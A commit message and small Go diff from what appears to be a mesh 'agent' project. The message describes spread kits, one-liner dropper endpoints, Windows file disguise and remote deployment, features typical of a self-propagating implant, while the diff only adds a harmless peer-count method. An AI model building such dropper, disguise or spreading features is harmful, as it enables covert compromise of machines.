Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/client/mesh_p2p.go

@@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
 		s.Close()
 	}
 }
+
+// PeerCount returns the number of connected mesh peers.
+func (m *MeshNode) PeerCount() int {
+	if m.host == nil {
+		return 0
+	}
+	return len(m.host.Network().Peers())
+}